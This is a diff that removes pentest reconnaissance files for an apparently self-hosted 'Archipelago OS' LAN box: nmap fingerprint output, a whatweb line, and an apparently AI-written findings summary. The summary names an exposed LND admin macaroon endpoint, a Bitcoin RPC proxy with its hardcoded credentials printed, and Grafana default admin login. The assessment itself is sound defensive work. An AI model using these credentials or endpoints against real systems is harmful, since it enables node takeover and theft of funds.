SF:29:56\x20GMT\r\n\r\n")%r(SSLSessionReq,54,"HTTP/1\.1\x20400\x20Bad\x20R
|
||||
SF:equest\r\ncontent-length:\x200\r\ndate:\x20Wed,\x2018\x20Mar\x202026\x2
|
||||
SF:011:29:58\x20GMT\r\n\r\n")%r(TerminalServerCookie,54,"HTTP/1\.1\x20400\
|
||||
SF:x20Bad\x20Request\r\ncontent-length:\x200\r\ndate:\x20Wed,\x2018\x20Mar
|
||||
SF:\x202026\x2011:29:58\x20GMT\r\n\r\n")%r(TLSSessionReq,54,"HTTP/1\.1\x20
|
||||
SF:400\x20Bad\x20Request\r\ncontent-length:\x200\r\ndate:\x20Wed,\x2018\x2
|
||||
SF:0Mar\x202026\x2011:29:57\x20GMT\r\n\r\n")%r(Kerberos,54,"HTTP/1\.1\x204
|
||||
SF:00\x20Bad\x20Request\r\ncontent-length:\x200\r\ndate:\x20Wed,\x2018\x20
|
||||
SF:Mar\x202026\x2011:29:58\x20GMT\r\n\r\n")%r(SMBProgNeg,54,"HTTP/1\.1\x20
|
||||
SF:400\x20Bad\x20Request\r\ncontent-length:\x200\r\ndate:\x20Wed,\x2018\x2
|
||||
SF:0Mar\x202026\x2011:29:58\x20GMT\r\n\r\n")%r(X11Probe,54,"HTTP/1\.1\x204
|
||||
SF:00\x20Bad\x20Request\r\ncontent-length:\x200\r\ndate:\x20Wed,\x2018\x20
|
||||
SF:Mar\x202026\x2011:29:58\x20GMT\r\n\r\n")%r(FourOhFourRequest,5B,"HTTP/1
|
||||
SF:\.0\x20404\x20Not\x20Found\r\ncontent-length:\x209\r\ndate:\x20Wed,\x20
|
||||
SF:18\x20Mar\x202026\x2011:29:58\x20GMT\r\n\r\nNot\x20Found");
|
||||
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
|
||||
SF-Port8080-TCP:V=7.98%T=SSL%I=7%D=3/18%Time=69BA8CBB%P=arm-apple-darwin23
|
||||
SF:.6.0%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-T
|
||||
SF:ype:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400
|
||||
SF:\x20Bad\x20Request")%r(GetRequest,A0,"HTTP/1\.0\x20404\x20Not\x20Found\
|
||||
SF:r\nContent-Type:\x20application/json\r\nDate:\x20Wed,\x2018\x20Mar\x202
|
||||
SF:026\x2011:30:02\x20GMT\r\nContent-Length:\x2045\r\n\r\n{\"code\":5,\"me
|
||||
SF:ssage\":\"Not\x20Found\",\"details\":\[\]}")%r(HTTPOptions,A0,"HTTP/1\.
|
||||
SF:0\x20404\x20Not\x20Found\r\nContent-Type:\x20application/json\r\nDate:\
|
||||
SF:x20Wed,\x2018\x20Mar\x202026\x2011:30:02\x20GMT\r\nContent-Length:\x204
|
||||
SF:5\r\n\r\n{\"code\":5,\"message\":\"Not\x20Found\",\"details\":\[\]}")%r
|
||||
SF:(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x2
|
||||
SF:0text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad
|
||||
SF:\x20Request")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-
|
||||
SF:Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n40
|
||||
SF:0\x20Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Re
|
||||
SF:quest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x
|
||||
SF:20close\r\n\r\n400\x20Bad\x20Request")%r(FourOhFourRequest,A0,"HTTP/1\.
|
||||
SF:0\x20404\x20Not\x20Found\r\nContent-Type:\x20application/json\r\nDate:\
|
||||
SF:x20Wed,\x2018\x20Mar\x202026\x2011:30:18\x20GMT\r\nContent-Length:\x204
|
||||
SF:5\r\n\r\n{\"code\":5,\"message\":\"Not\x20Found\",\"details\":\[\]}")%r
|
||||
SF:(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
|
||||
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
|
||||
SF:20Request")%r(SIPOptions,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCont
|
||||
SF:ent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r
|
||||
SF:\n400\x20Bad\x20Request")%r(Socks5,67,"HTTP/1\.1\x20400\x20Bad\x20Reque
|
||||
SF:st\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20c
|
||||
SF:lose\r\n\r\n400\x20Bad\x20Request")%r(OfficeScan,A3,"HTTP/1\.1\x20400\x
|
||||
SF:20Bad\x20Request:\x20missing\x20required\x20Host\x20header\r\nContent-T
|
||||
SF:ype:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400
|
||||
SF:\x20Bad\x20Request:\x20missing\x20required\x20Host\x20header");
|
||||
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
|
||||
SF-Port8082-TCP:V=7.98%I=7%D=3/18%Time=69BA8CB0%P=arm-apple-darwin23.6.0%r
|
||||
SF:(GetRequest,A9B,"HTTP/1\.0\x20200\x20OK\r\ncontent-type:\x20text/html;\
|
||||
SF:x20charset=utf-8\r\ncache-control:\x20public,\x20max-age=600\r\nexpires
|
||||
SF::\x20Wed,\x2018\x20Mar\x202026\x2011:39:51\x20GMT\r\nserver:\x20Rocket\
|
||||
SF:r\npermissions-policy:\x20accelerometer=\(\),\x20ambient-light-sensor=\
|
||||
SF:(\),\x20autoplay=\(\),\x20battery=\(\),\x20camera=\(\),\x20display-capt
|
||||
SF:ure=\(\),\x20document-domain=\(\),\x20encrypted-media=\(\),\x20executio
|
||||
SF:n-while-not-rendered=\(\),\x20execution-while-out-of-viewport=\(\),\x20
|
||||
SF:fullscreen=\(\),\x20geolocation=\(\),\x20gyroscope=\(\),\x20keyboard-ma
|
||||
SF:p=\(\),\x20magnetometer=\(\),\x20microphone=\(\),\x20midi=\(\),\x20paym
|
||||
SF:ent=\(\),\x20picture-in-picture=\(\),\x20screen-wake-lock=\(\),\x20sync
|
||||
SF:-xhr=\(\),\x20usb=\(\),\x20web-share=\(\),\x20xr-spatial-tracking=\(\)\
|
||||
SF:r\nx-frame-options:\x20SAMEORIGIN\r\nx-content-type-options:\x20nosniff
|
||||
SF:\r\nreferrer-policy:\x20same-origin\r\nx-xss-protection:\x200\r\nconten
|
||||
SF:t-security-policy:\x20default-src\x20'self';\x20base-uri\x20'self';\x20
|
||||
SF:form-action\x20'self';\x20object-src\x20'self'\x20blob:;\x20script-src\
|
||||
SF:x20'self'\x20'wasm-unsafe-eval';\x20style-src\x20'self'\x20'unsafe-inli
|
||||
SF:ne';\x20child-src\x20'se")%r(FourOhFourRequest,CD5,"HTTP/1\.0\x20404\x2
|
||||
SF:0Not\x20Found\r\ncontent-type:\x20text/html;\x20charset=utf-8\r\nserver
|
||||
SF::\x20Rocket\r\npermissions-policy:\x20accelerometer=\(\),\x20ambient-li
|
||||
SF:ght-sensor=\(\),\x20autoplay=\(\),\x20battery=\(\),\x20camera=\(\),\x20
|
||||
SF:display-capture=\(\),\x20document-domain=\(\),\x20encrypted-media=\(\),
|
||||
SF:\x20execution-while-not-rendered=\(\),\x20execution-while-out-of-viewpo
|
||||
SF:rt=\(\),\x20fullscreen=\(\),\x20geolocation=\(\),\x20gyroscope=\(\),\x2
|
||||
SF:0keyboard-map=\(\),\x20magnetometer=\(\),\x20microphone=\(\),\x20midi=\
|
||||
SF:(\),\x20payment=\(\),\x20picture-in-picture=\(\),\x20screen-wake-lock=\
|
||||
SF:(\),\x20sync-xhr=\(\),\x20usb=\(\),\x20web-share=\(\),\x20xr-spatial-tr
|
||||
SF:acking=\(\)\r\nx-frame-options:\x20SAMEORIGIN\r\nx-content-type-options
|
||||
SF::\x20nosniff\r\nreferrer-policy:\x20same-origin\r\nx-xss-protection:\x2
|
||||
SF:00\r\ncontent-security-policy:\x20default-src\x20'self';\x20base-uri\x2
|
||||
SF:0'self';\x20form-action\x20'self';\x20object-src\x20'self'\x20blob:;\x2
|
||||
SF:0script-src\x20'self'\x20'wasm-unsafe-eval';\x20style-src\x20'self'\x20
|
||||
SF:'unsafe-inline';\x20child-src\x20'self'\x20https://\*\.duosecurity\.com
|
||||
SF:\x20https://\*\.duofederal\.com;\x20frame-src\x20'se");
|
||||
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
|
||||
SF-Port8083-TCP:V=7.98%I=7%D=3/18%Time=69BA8CB0%P=arm-apple-darwin23.6.0%r
|
||||
SF:(GetRequest,198D,"HTTP/1\.0\x20200\x20OK\r\nCache-Control:\x20no-cache,
|
||||
SF:\x20no-store,\x20must-revalidate\r\nContent-Type:\x20text/html;\x20char
|
||||
SF:set=utf-8\r\nX-Xss-Protection:\x201;\x20mode=block\r\nDate:\x20Wed,\x20
|
||||
SF:18\x20Mar\x202026\x2011:29:51\x20GMT\r\n\r\n<!doctype\x20html>\n<html\x
|
||||
SF:20lang=\"en\">\n\x20\x20<head>\n\x20\x20\x20\x20<meta\x20charset=\"utf-
|
||||
SF:8\"\x20/>\n\x20\x20\x20\x20<meta\x20http-equiv=\"X-UA-Compatible\"\x20c
|
||||
SF:ontent=\"IE=edge\"\x20/>\n\x20\x20\x20\x20<meta\n\x20\x20\x20\x20\x20\x
|
||||
SF:20name=\"viewport\"\n\x20\x20\x20\x20\x20\x20content=\"width=device-wid
|
||||
SF:th,\x20initial-scale=1,\x20user-scalable=no\"\n\x20\x20\x20\x20/>\n\n\x
|
||||
SF:20\x20\x20\x20\n\n\x20\x20\x20\x20<title>\n\x20\x20\x20\x20\x20\x20File
|
||||
SF:\x20Browser\n\x20\x20\x20\x20</title>\n\n\x20\x20\x20\x20<link\n\x20\x2
|
||||
SF:0\x20\x20\x20\x20rel=\"icon\"\n\x20\x20\x20\x20\x20\x20type=\"image/png
|
||||
SF:\"\n\x20\x20\x20\x20\x20\x20sizes=\"32x32\"\n\x20\x20\x20\x20\x20\x20hr
|
||||
SF:ef=\"/static/img/icons/favicon-32x32\.png\"\n\x20\x20\x20\x20/>\n\x20\x
|
||||
SF:20\x20\x20<link\n\x20\x20\x20\x20\x20\x20rel=\"icon\"\n\x20\x20\x20\x20
|
||||
SF:\x20\x20type=\"image/png\"\n\x20\x20\x20\x20\x20\x20sizes=\"16x16\"\n\x
|
||||
SF:20\x20\x20\x20\x20\x20href=\"/static/img/icons/favicon-16x16\.png\"\n\x
|
||||
SF:20\x20\x20\x20/>\n\n\x20\x20\x20\x20<!--\x20Add\x20to\x20home\x20screen
|
||||
SF:\x20for\x20Android\x20and\x20modern\x20mobile\x20browsers\x20-->\n\x20\
|
||||
SF:x20\x20\x20<link\n\x20\x20\x20\x20\x20\x20rel=\"manifest\"\n\x20\x20\x2
|
||||
SF:0\x20\x20\x20id=\"manifestPlaceholder\"\n\x20\x20\x20\x20\x20\x20crosso
|
||||
SF:rigin=\"use-credentials\"\n\x20\x20\x20\x20/")%r(FourOhFourRequest,198D
|
||||
SF:,"HTTP/1\.0\x20200\x20OK\r\nCache-Control:\x20no-cache,\x20no-store,\x2
|
||||
SF:0must-revalidate\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nX-X
|
||||
SF:ss-Protection:\x201;\x20mode=block\r\nDate:\x20Wed,\x2018\x20Mar\x20202
|
||||
SF:6\x2011:29:51\x20GMT\r\n\r\n<!doctype\x20html>\n<html\x20lang=\"en\">\n
|
||||
SF:\x20\x20<head>\n\x20\x20\x20\x20<meta\x20charset=\"utf-8\"\x20/>\n\x20\
|
||||
SF:x20\x20\x20<meta\x20http-equiv=\"X-UA-Compatible\"\x20content=\"IE=edge
|
||||
SF:\"\x20/>\n\x20\x20\x20\x20<meta\n\x20\x20\x20\x20\x20\x20name=\"viewpor
|
||||
SF:t\"\n\x20\x20\x20\x20\x20\x20content=\"width=device-width,\x20initial-s
|
||||
SF:cale=1,\x20user-scalable=no\"\n\x20\x20\x20\x20/>\n\n\x20\x20\x20\x20\n
|
||||
SF:\n\x20\x20\x20\x20<title>\n\x20\x20\x20\x20\x20\x20File\x20Browser\n\x2
|
||||
SF:0\x20\x20\x20</title>\n\n\x20\x20\x20\x20<link\n\x20\x20\x20\x20\x20\x2
|
||||
SF:0rel=\"icon\"\n\x20\x20\x20\x20\x20\x20type=\"image/png\"\n\x20\x20\x20
|
||||
SF:\x20\x20\x20sizes=\"32x32\"\n\x20\x20\x20\x20\x20\x20href=\"/static/img
|
||||
SF:/icons/favicon-32x32\.png\"\n\x20\x20\x20\x20/>\n\x20\x20\x20\x20<link\
|
||||
SF:n\x20\x20\x20\x20\x20\x20rel=\"icon\"\n\x20\x20\x20\x20\x20\x20type=\"i
|
||||
SF:mage/png\"\n\x20\x20\x20\x20\x20\x20sizes=\"16x16\"\n\x20\x20\x20\x20\x
|
||||
SF:20\x20href=\"/static/img/icons/favicon-16x16\.png\"\n\x20\x20\x20\x20/>
|
||||
SF:\n\n\x20\x20\x20\x20<!--\x20Add\x20to\x20home\x20screen\x20for\x20Andro
|
||||
SF:id\x20and\x20modern\x20mobile\x20browsers\x20-->\n\x20\x20\x20\x20<link
|
||||
SF:\n\x20\x20\x20\x20\x20\x20rel=\"manifest\"\n\x20\x20\x20\x20\x20\x20id=
|
||||
SF:\"manifestPlaceholder\"\n\x20\x20\x20\x20\x20\x20crossorigin=\"use-cred
|
||||
SF:entials\"\n\x20\x20\x20\x20/");
|
||||
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
|
||||
SF-Port8333-TCP:V=7.98%I=7%D=3/18%Time=69BA8CB5%P=arm-apple-darwin23.6.0%r
|
||||
SF:(RPCCheck,D99,"m\xfd;\x85\xbcu\x16\xe2u/A\xe0lEG\x91w\x88\x02\x92\xdaY\
|
||||
SF:x8c\xb3E\x92\x98d\xe1\xab7\x87\xb6\x11&z\*\x0b\xf1dp\xb2\x838\xc5\x92\x
|
||||
SF:0b\xc8\xb5\xab-\|\xf9\xdd\x12\xf1P\xab\xf3\xcc8\xf3\t\xf8\xae=\xea=/@v\
|
||||
SF:xb1C\xca\xdd\xa7k\xd3\xab\xb4A\xc7w\+\x03\xc1\x01{:g\x98>\x02A\xe8\xe4\
|
||||
SF:x7f~\+\xe1\xd4\xc0\xa3\xb3\$\xda\xf8\x04Xd\x80\xb2V\xd1Ngf\x96\x8d\xe3q
|
||||
SF:'p\x06,\^\*\xc5\x11\xf0\?\x18\xbdO\xeb\xb0\xdbL\xfbHVSI\n\xea\xa0\xe4\x
|
||||
SF:c0\xd0x\)\t\xf3Gw\xc1\xb9F\tH\x9dN\x83\x91\xe0\x16l\xc7\x1b\xfa\x9dp\xe
|
||||
SF:0\x1ek\xba\xae>a\x1c-\?\x0e\x8b\x14\x02CV\x90\x1b\xc0\xed\xf7\x0c\xb1\x
|
||||
SF:ea\xf2\xe9\xc2F\x8e\xe4D\xbd\xc0:\xf5s\t\x87k\xd2l\xe6\x98\x89dH\x85\x8
|
||||
SF:1v\xd2\xb5\xa6\xc4\xe5u\xae\x06`\x003\(\.\xc6M\xbe\x9a\x95x\xd8\xdeg\xa
|
||||
SF:d\xd6\xb0\xbf\x04\xb8n\xa2\x96\xf9\x84\xccrB\xe7\x97\x08\)\xc8\xb6\xa1\
|
||||
SF:x89\xa5wk\xddN\x1c\xfa\xcf\xd0\x84\x18\x10\xd1Ex\xfe\x91\xa4\xd2d\xe4Pu
|
||||
SF:V\x1fi\xc2\xd5\xfbh\*\x0c\x0fx\xdf\x97\xfeM\xdb\xa7Own\xa5\xb4\x99\x12\
|
||||
SF:x04\x0c\]\xe2%\xee`\xd9\x98y\xa8\xd9J\xb0\xdf\0\xf4\\\x10\xc5\xef\x93n\
|
||||
SF:xcfO\xc1\xd5\xeb7\xf8\x90\xcc\xab\xb0\x81\xb9\x06\xeb\xf0\xe2\x05\x19Ea
|
||||
SF:\xc0\+jx\xec\xc5M\x85\x93\x17\x02\xe3\x8c\xc6\x94\x1e\xa3G\x06c\x18J\xc
|
||||
SF:6\x0b\xdf\xfbq\$\xaa\x80\xd9\xc2\xf2\xbe\xf1U\x01\x90\xca\x9a\xb8I\xbf\
|
||||
SF:xd1\xbe\x1dt\xbb\t\x1d\xdd\xb0d~\._\x11}\xb3\xfbp>Rw\*xG\xd9\x03xh\+\xd
|
||||
SF:5\x96\x0c\xa7\xff\xc6\*\xbf\xd9d\xa5\xbe\x1b\xa9\xf5\xbb\x1a\xaeE\xfaaR
|
||||
SF:V,Q\r\xc1\xd9\xc4\xdd\x8c\x20\"q\xc6\xc4\x7f\xe2\xac\x08M\x07Z\xc2u\x0c
|
||||
SF:\xa4\x9fgA9\xad3\x03\xa4Pl\xa1\xa7\x96\x7fr\x135\+\xe8\xad\xed\xeai\xdc
|
||||
SF:{M\.\xe6\xba\.\xa4\x9a\xbe\xd4\xea\xdf\xd9\xdd\x0c\xca\xf4\xdc\xc8t\xc1
|
||||
SF:\x88\x9d\xa4W\x13\xec\x9e\xc33\xfbz\x18za\xc0\^\xb6\rbb6\xb5\x93\x87\x9
|
||||
SF:d\x92\^\x8e\x87J\x8f\x10k\xf9\x16\xac'7\xd3\xec\]\xee\xdb\xfe@D\xc6Uz\x
|
||||
SF:afQb\xefh\xc2e\xa2\xdfi\xed\xddK\xc5P\xff\xaa\x9c\xaf\x84Z!d\x9dta#\|\x
|
||||
SF:d4\xb3\xcc4\x9by\xeaL\xac\xbc,\xe6\x01sL\x1c\xbb\xd7y3<%\xfe\xea8\x1e\x
|
||||
SF:c1\xafE:\xff/\?\[\xd4\xdf\x07\*\xec\xe7\x18\xa8\x97\x9e\.'\.\xbc\x13\xd
|
||||
SF:7w\xb4\xff\|'\.xm\x82\x8b\*\x19\xdd\x0cB\x81g_<\xdbx\xe6\xb9\xc1\xf9\x9
|
||||
SF:ab\x9b\xdb\xdb\x02\+\x11\xa3\xcd\x17\xcae\x9d\x8b\xb5'\xfet\x9ey>\x9c\x
|
||||
SF:8aO\xbd1\xc6\x1b\]g8,o\xe0\x0c@\xfe\xe3=\xeb\]\xfb\xb4\x92\xb7\[\xa3`\x
|
||||
SF:c7I\xeey\xbb\xa0\xc0y\x1f\xef,\x0c\xe2\x17\xba\x84\xb9v\xd9\\\xbcP\x9ci
|
||||
SF:\xeb\t\x958\x1d\x92\xe9\xd9\0\xed<\x97\\\xd0\x01\xe6\x91\x97\xc8Q\xe1\[
|
||||
SF:\xf2\xe1\xd0\x80\xd4~k8\xbb\x04\x82B>\xfch{1\xe8\x9b\xf8\xfb\xa8\xdd\xe
|
||||
SF:9\x040MF-ID`\x0f\x8a\xccv\[9q\xee\x8c\xaa\xed\xa1\xed\x80\x06Fp\t0\xc1\
|
||||
SF:]C\x13\rj\nD0\x08\xa0\xdfS\xa0\xa6\xdc\xd8\xe9\xe2\xd24k\xfc\xda\xcb#d\
|
||||
SF:xdcW\xf6\xd2\xc4P\xbf\x03\x88\xe4\x89\xe5\x16\xf6K\x8b\xdad\xf3:\x0f\xd
|
||||
SF:0\xedI\x03\x99\xfa\x87\x18\xdb\x8b\xa3\xbc\xce\xe2\x85k\xda\xefD\x8am\x
|
||||
SF:85\x80zqW\xef\x9b\0\x0bM\x07\x1c\x0e");
|
||||
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
|
||||
SF-Port8888-TCP:V=7.98%I=7%D=3/18%Time=69BA8CB0%P=arm-apple-darwin23.6.0%r
|
||||
SF:(GetRequest,19CD,"HTTP/1\.0\x20200\x20OK\r\ncontent-type:\x20text/html;
|
||||
SF:\x20charset=utf-8\r\ncontent-length:\x206292\r\nserver-timing:\x20total
|
||||
SF:;dur=176\.925,\x20render;dur=154\.939\r\nx-content-type-options:\x20nos
|
||||
SF:niff\r\nx-download-options:\x20noopen\r\nx-robots-tag:\x20noindex,\x20n
|
||||
SF:ofollow\r\nreferrer-policy:\x20no-referrer\r\nserver:\x20granian\r\ndat
|
||||
SF:e:\x20Wed,\x2018\x20Mar\x202026\x2011:29:51\x20GMT\r\n\r\n<!DOCTYPE\x20
|
||||
SF:html>\n<html\x20class=\"no-js\x20theme-auto\x20center-alignment-no\"\x2
|
||||
SF:0lang=\"en-EN\"\x20>\n<head>\n\x20\x20<meta\x20charset=\"UTF-8\">\n\x20
|
||||
SF:\x20<meta\x20name=\"endpoint\"\x20content=\"index\">\n\x20\x20<meta\x20
|
||||
SF:name=\"description\"\x20content=\"SearXNG\x20\xe2\x80\x94\x20a\x20priva
|
||||
SF:cy-respecting,\x20open\x20metasearch\x20engine\">\n\x20\x20<meta\x20nam
|
||||
SF:e=\"keywords\"\x20content=\"SearXNG,\x20search,\x20search\x20engine,\x2
|
||||
SF:0metasearch,\x20meta\x20search\">\n\x20\x20<meta\x20name=\"generator\"\
|
||||
SF:x20content=\"searxng/2026\.2\.3\+f7a608703\">\n\x20\x20<meta\x20name=\"
|
||||
SF:referrer\"\x20content=\"no-referrer\">\n\x20\x20<meta\x20name=\"robots\
|
||||
SF:"\x20content=\"noarchive\">\n\x20\x20<meta\x20name=\"viewport\"\x20cont
|
||||
SF:ent=\"width=device-width,\x20initial-scale=1\">\n\x20\x20<title>SearXNG
|
||||
SF:</titl")%r(HTTPOptions,14F,"HTTP/1\.0\x20200\x20OK\r\ncontent-type:\x20
|
||||
SF:text/html;\x20charset=utf-8\r\nallow:\x20GET,\x20POST,\x20OPTIONS,\x20H
|
||||
SF:EAD\r\nserver-timing:\x20total;dur=1\.056,\x20render;dur=0\r\nx-content
|
||||
SF:-type-options:\x20nosniff\r\nx-download-options:\x20noopen\r\nx-robots-
|
||||
SF:tag:\x20noindex,\x20nofollow\r\nreferrer-policy:\x20no-referrer\r\ncont
|
||||
SF:ent-length:\x200\r\nserver:\x20granian\r\ndate:\x20Wed,\x2018\x20Mar\x2
|
||||
SF:02026\x2011:29:51\x20GMT\r\n\r\n")%r(FourOhFourRequest,13A3,"HTTP/1\.0\
|
||||
SF:x20404\x20Not\x20Found\r\ncontent-type:\x20text/html;\x20charset=utf-8\
|
||||
SF:r\ncontent-length:\x204711\r\nserver-timing:\x20total;dur=5\.729,\x20re
|
||||
SF:nder;dur=4\.335\r\nx-content-type-options:\x20nosniff\r\nx-download-opt
|
||||
SF:ions:\x20noopen\r\nx-robots-tag:\x20noindex,\x20nofollow\r\nreferrer-po
|
||||
SF:licy:\x20no-referrer\r\nserver:\x20granian\r\ndate:\x20Wed,\x2018\x20Ma
|
||||
SF:r\x202026\x2011:29:51\x20GMT\r\n\r\n<!DOCTYPE\x20html>\n<html\x20class=
|
||||
SF:\"no-js\x20theme-auto\x20center-alignment-no\"\x20lang=\"en-EN\"\x20>\n
|
||||
SF:<head>\n\x20\x20<meta\x20charset=\"UTF-8\">\n\x20\x20<meta\x20name=\"en
|
||||
SF:dpoint\"\x20content=\"None\">\n\x20\x20<meta\x20name=\"description\"\x2
|
||||
SF:0content=\"SearXNG\x20\xe2\x80\x94\x20a\x20privacy-respecting,\x20open\
|
||||
SF:x20metasearch\x20engine\">\n\x20\x20<meta\x20name=\"keywords\"\x20conte
|
||||
SF:nt=\"SearXNG,\x20search,\x20search\x20engine,\x20metasearch,\x20meta\x2
|
||||
SF:0search\">\n\x20\x20<meta\x20name=\"generator\"\x20content=\"searxng/20
|
||||
SF:26\.2\.3\+f7a608703\">\n\x20\x20<meta\x20name=\"referrer\"\x20content=\
|
||||
SF:"no-referrer\">\n\x20\x20<meta\x20name=\"robots\"\x20content=\"noarchiv
|
||||
SF:e\">\n\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=device-widt
|
||||
SF:h,\x20initial-scale=1\">\n\x20\x20<title>SearXNG</ti");
|
||||
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
|
||||
SF-Port9000-TCP:V=7.98%I=7%D=3/18%Time=69BA8CB0%P=arm-apple-darwin23.6.0%r
|
||||
SF:(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x
|
||||
SF:20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Ba
|
||||
SF:d\x20Request")%r(GetRequest,CE,"HTTP/1\.0\x20307\x20Temporary\x20Redire
|
||||
SF:ct\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nLocation:\x20/tim
|
||||
SF:eout\.html\r\nDate:\x20Wed,\x2018\x20Mar\x202026\x2011:29:51\x20GMT\r\n
|
||||
SF:Content-Length:\x2049\r\n\r\n<a\x20href=\"/timeout\.html\">Temporary\x2
|
||||
SF:0Redirect</a>\.\n\n")%r(HTTPOptions,74,"HTTP/1\.0\x20307\x20Temporary\x
|
||||
SF:20Redirect\r\nLocation:\x20/timeout\.html\r\nDate:\x20Wed,\x2018\x20Mar
|
||||
SF:\x202026\x2011:29:51\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPReq
|
||||
SF:uest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/pl
|
||||
SF:ain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Requ
|
||||
SF:est")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x2
|
||||
SF:0text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad
|
||||
SF:\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
|
||||
SF:nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\
|
||||
SF:r\n\r\n400\x20Bad\x20Request")%r(FourOhFourRequest,109,"HTTP/1\.0\x2040
|
||||
SF:4\x20Not\x20Found\r\nCache-Control:\x20max-age=31536000\r\nContent-Type
|
||||
SF::\x20text/plain;\x20charset=utf-8\r\nVary:\x20Accept-Encoding\r\nX-Cont
|
||||
SF:ent-Type-Options:\x20nosniff\r\nX-Xss-Protection:\x201;\x20mode=block\r
|
||||
SF:\nDate:\x20Wed,\x2018\x20Mar\x202026\x2011:30:09\x20GMT\r\nContent-Leng
|
||||
SF:th:\x2019\r\n\r\n404\x20page\x20not\x20found\n")%r(LPDString,67,"HTTP/1
|
||||
SF:\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset
|
||||
SF:=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(SIPOpti
|
||||
SF:ons,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/pla
|
||||
SF:in;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Reque
|
||||
SF:st")%r(Socks5,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x
|
||||
SF:20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Ba
|
||||
SF:d\x20Request")%r(OfficeScan,A3,"HTTP/1\.1\x20400\x20Bad\x20Request:\x20
|
||||
SF:missing\x20required\x20Host\x20header\r\nContent-Type:\x20text/plain;\x
|
||||
SF:20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request:\x
|
||||
SF:20missing\x20required\x20Host\x20header");
|
||||
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
||||
|
||||
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||||
# Nmap done at Wed Mar 18 11:32:28 2026 -- 1 IP address (1 host up) scanned in 163.96 seconds
|
||||
@@ -1,26 +0,0 @@
|
||||
Written to `loop/pentest/recon/attack-surface-analysis.md`. Here's the executive summary:
|
||||
|
||||
## 3 Critical Findings
|
||||
|
||||
1. **`/lnd-connect-info` exposes full LND admin macaroon** — unauthenticated, CORS `*`. Anyone on the LAN gets complete Lightning node control (send payments, drain channels). Confirmed live.
|
||||
|
||||
2. **Bitcoin RPC proxy on :8334 with hardcoded creds** (`archipelago:archipelago123`) — confirmed full mainnet `getblockchaininfo` works. If wallet is loaded, attacker can send transactions and export keys.
|
||||
|
||||
3. **Grafana default `admin:admin` on port 3000** — confirmed full admin access. Can query data sources and potentially pivot.
|
||||
|
||||
## 3 High Findings
|
||||
|
||||
4. **`/content` leaks personal file catalog** (names, sizes, UUIDs) without auth
|
||||
5. **Nginx Proxy Manager (port 81)** directly accessible with `setup: false` state
|
||||
6. **Multiple service ports (3000, 3001, 7777, 8080, 9000)** bypass nginx proxy auth
|
||||
|
||||
## Key Positives
|
||||
|
||||
- Login rate limiting works (triggers at 5 attempts)
|
||||
- CORS properly rejects unauthorized origins
|
||||
- Session management is solid (256-bit tokens, HttpOnly, SameSite=Strict)
|
||||
- Path traversal mitigated (/.git, /.env not exposed)
|
||||
- Security headers comprehensive (HSTS, CSP, X-Frame-Options)
|
||||
- Bcrypt + Argon2id + ChaCha20 crypto stack is production-grade
|
||||
|
||||
The report covers **150+ RPC methods**, **30+ nginx proxy routes**, **10+ direct port services**, and all authentication mechanisms with confirmed live probes.
|
||||
@@ -1 +0,0 @@
|
||||
http://192.168.1.228 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.22.1], IP[192.168.1.228], Script[module], Strict-Transport-Security[max-age=31536000; includeSubDomains], Title[Archipelago OS], UncommonHeaders[x-content-type-options,referrer-policy,permissions-policy,x-dns-prefetch-control,content-security-policy], X-Frame-Options[SAMEORIGIN], nginx[1.22.1]
|
||||
@@ -1,16 +0,0 @@
|
||||
Report written to `loop/pentest/security-assessment-report.md`.
|
||||
|
||||
